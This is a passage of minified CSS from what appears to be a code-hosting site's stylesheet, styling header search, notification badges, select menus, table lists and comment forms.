.mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 